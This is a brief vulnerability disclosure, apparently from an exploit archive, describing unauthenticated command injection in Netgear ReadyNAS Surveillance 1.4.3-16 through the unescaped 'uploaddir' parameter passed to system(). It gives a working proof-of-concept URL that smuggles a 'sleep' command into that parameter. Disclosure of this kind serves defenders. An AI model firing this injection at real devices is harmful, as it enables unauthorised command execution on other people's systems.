Netgear ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution

# Exploit Netgear ReadyNAS Surveillance 1.4.3-16 Unauthenticated RCE
# Date: 27.09.2017
# Software Link: https://www.netgear.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
   
1. Description
  
$_GET['uploaddir'] is not escaped and passed to system() through $tmp_upload_dir.

https://security.szurek.pl/netgear-ready-nas-surveillance-14316-unauthenticated-rce.html
 
2. Proof of Concept

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27